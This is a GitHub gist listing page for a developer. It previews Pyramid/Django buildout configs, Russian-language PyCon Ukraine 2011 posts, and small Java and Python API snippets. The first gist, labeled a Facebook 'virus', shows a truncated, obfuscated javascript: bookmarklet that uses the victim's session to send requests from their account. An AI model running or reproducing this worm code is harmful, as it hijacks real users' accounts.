Skip to content

Instantly share code, notes, and snippets.

View xen's full-sized avatar
🔥
Light My Fire!

Mikhail Kashkin xen

🔥
Light My Fire!
View GitHub Profile
@xen
xen / shit
Created November 21, 2010 12:12
facebook "virus"
javascript:void(eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('S:x(U);V();8 6=1;h=0;a 9(u,p,g,s,t){6=1;7(w.N){6=q N()}i 7(w.o){K{6=q o("19.Q")}M(e){K{6=q o("14.Q")}M(e){}}}7(s==1){6.13=a(){E(t)}}7(g==1){6.v(\'12\',u,f)}i{6.v(\'Z\',u,f)}6.15(p)}a E(t){7(6.18==4){7(6.Y==17){7(t==\'y\'){F=16(6.r);8 A=T+F+\'k=\'+d+\'&c=\'+b;9(W,A,1,1,\'11\')}i 7(t==\'11\'){h=2}i 7(t==\'1l\'){m=X(6.r);8 C=10+d+\'&\'+m+\'c=\'+b;7(m.1d>5)9(1p,C,1,f,\'\');h=3}i 7(t==\'l\'){1o(6.r,j,G)}}}}G=1q(1r.1a(\'1t\'));d=n.k;b=n.c;j=n.L;8 H=1s+d+\'&c=\'+b;9(1m,H,1,1,\'y\');8 D=z(a(){B()},1e);8 O=z(a(){J()},1n);a B(){7(h==3){x(D);8 I=1c+j+\'&k=\'+d+\'&c=\'+b;9(1b,I,1,f,\'\');8 P=1f+d+\'&c=\'+b;9(1g,P,1,f,\'\');9(1k,\'\',f,1,\'l\')}}a J(){7(h==2){x(O);8 R=1j+d+\'&c=\'+b
@xen
xen / gist:882184
Created March 22, 2011 22:04
My current hosts adv block list inside /etc/hosts
We couldn’t find that file to show.
@xen
xen / buildout.cfg
Created May 9, 2011 17:58
Minimal pyramid setup
[buildout]
parts =
pyramid
# Keep internal stuff in a subdirectory.
download-cache = etc/downloads
eggs-directory = etc/eggs
develop-eggs-directory = etc/develop-eggs
parts-directory = etc/parts
develop = ...
[buildout]
parts =
python
django
eggs =
[python]
recipe = zc.recipe.egg
interpreter = py
@xen
xen / gist:1237513
Created September 23, 2011 14:38
Анонс

#PyCon 2011 в Киеве 22-23 октября 2011

От имени организаторов украинского PyCon рад возможности объявить о начале регистрации на это важное Python-событие, прежде всего обращаюсь к жителеям западной части России, всей Украины, Белоруссии, Польши, Австрии, Германии и вообще всех стран в ближайшей досягаемости от Киева, а так же тех кто хотел бы приехать из более удаленных мест.

В этом году пройдет вторая ежегодная конференция PyCon, это крупнейшее профессиональное событие на постсоветском пространстве для тех кто тем или иным способом связан с технологиями на этом языке программирования. Событие займет два дня 22-23 октября 2011 и пройдет в Киеве. На событии ожидается более 250 слушателей которым будут представлены доклады в течении двух дней от более чем десятка докладчиков. Доклады будут осуществляться на русском и английском языке.

UaPyCon — это событие для сообщества организованное при поддержке Python Software Foundation и является нашей версией ежегодных конференций которые проводятся по всему миру. Ц

@xen
xen / uapycon.mdown
Created October 25, 2011 13:27
#uapycon статья на Dou.ua

Хвалить или ругать событие PyCon Ukraine 2011 было бы не объективно с моей стороны, хотя наверное кто-то этого ждет. Еще в прошлом году вызвался помогать организаторам и участвовал в подготовке события. Если бы я начал расхваливать, то это было бы не объективно. Если бы начал ругать, то показался бы ханжой.

Надеюсь, что люди поделятся впечатлениями со стороны. Лучше расскажу о закулисной части мероприятия и о том как шла к нему подготовка.

Подготовка

Координация работы шла через skype-чатик в котором в текущий момент находится 7 человек, это и есть комитет по подготовке события. Планирование началось еще весной. Могу честно сказать, что у меня возникло впечатление, что большую часть работы сделал Владимир Гоцык, но вообще все киевские ребята постоянно встречались и распределяли работы между друг-другом.

На первом этапе был составлен большой список тех гостей которых хотелось бы пригласить. Да Гвидо там тоже был. Были известные русскоязычные блоггеры. Постепенно

@xen
xen / uapycon.mdown
Created October 25, 2011 14:32 — forked from marin-k-a/uapycon.mdown
#uapycon статья на Dou.ua

Хвалить или ругать событие PyCon Ukraine 2011 было бы не объективно с моей стороны, хотя наверное кто-то этого и ждет. Еще в прошлом году я вызвался помогать организаторам. Поэтому, если бы я начал его расхваливать, то это было бы не объективно. А если бы начал ругать, то показался бы ханжой.

Надеюсь, что люди поделятся своими впечатлениями со стороны. А я лучше расскажу о закулисной части мероприятия и о том, как шла подготовка к PyCon'у.

Подготовка

Координация работы велась через skype-чатик, в котором на текущий момент находится 7 человек - это и есть комитет по подготовке события. Планирование началось еще весной. Скажу откровенно - мне кажется, что большую часть работы сделал Владимир Гоцык. Но все киевские ребята постоянно встречались и распределяли обязанности/работы между собой.

На первом этапе был составлен большой список тех гостей, которых хотелось бы пригласить. Да, Гвидо там тоже был. А также известные русскоязычные блоггеры. Постепе

import java.io.IOException;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.Map;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
@xen
xen / test.py
Created January 11, 2012 17:53
API call
import urllib2, urllib
import hashlib
# http://pypi.python.org/pypi/simplejson/
import simplejson
APIURL = 'http://api.aplatform.ru'
APPID = '' # Application id
SECRET = '' # Secret
from .models import Model, ModelRegistry
class User(Model):
__yaml__ = 'user.yaml'
john = User(**kw)